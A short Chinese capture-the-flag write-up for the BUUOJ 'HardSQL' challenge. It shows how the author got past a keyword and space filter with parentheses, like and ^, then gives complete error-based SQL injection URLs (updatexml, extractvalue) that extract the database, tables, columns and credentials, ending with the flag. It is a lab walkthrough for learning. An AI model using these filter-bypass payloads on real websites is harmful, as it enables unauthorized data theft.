[极客大挑战 2019]HardSQL
注入点分析
username、password均可注入
摸清过滤点
经过手工测试过滤了and、=、空格 、union、-、#、+、*等多个sql关键字
使用()来代替空格,使用like来代替=号,然后可以使用^替代and
采用报错注入、得出数据库geek
http://e6fc980a-f7d3-4efe-b2eb-8509aa07bd52.node4.buuoj.cn/check.php?username=admin&password=1234’or(updatexml(1,concat(0x7e,database(),0x7e),1));#
表名、~H4rDsq1
http://e6fc980a-f7d3-4efe-b2eb-8509aa07bd52.node4.buuoj.cn/check.php?username=admin&password=123’extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(‘geek’)))))(‘1’)like’1
字段名
http://61c6624e-cde2-4ffc-ad2b-7fd77b2d0103.node4.buuoj.cn/check.php?username=admin&password=123’^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(‘H4rDsq1’)),0x7e),1);%23
数据
http://61c6624e-cde2-4ffc-ad2b-7fd77b2d0103.node4.buuoj.cn/check.php?username=admin&password=123’^updatexml(1,concat(0x7e,(select(group_concat(username,’%’,password))from(H4rDsq1)),0x7e),1);%23
只有半条数据,用left、right拼接
http://61c6624e-cde2-4ffc-ad2b-7fd77b2d0103.node4.buuoj.cn/check.php?username=admin&password=123’^updatexml(1,concat(0x7e,(select(group_concat((left(password,100))))from(H4rDsq1)),0x7e),1);%23
http://61c6624e-cde2-4ffc-ad2b-7fd77b2d0103.node4.buuoj.cn/check.php?username=admin&password=123’^updatexml(1,concat(0x7e,(select(group_concat((right(password,11))))from(H4rDsq1)),0x7e),1);%23
得出flag
flag{f616df49-1b58-44e5-8302-1101ee90f3fa}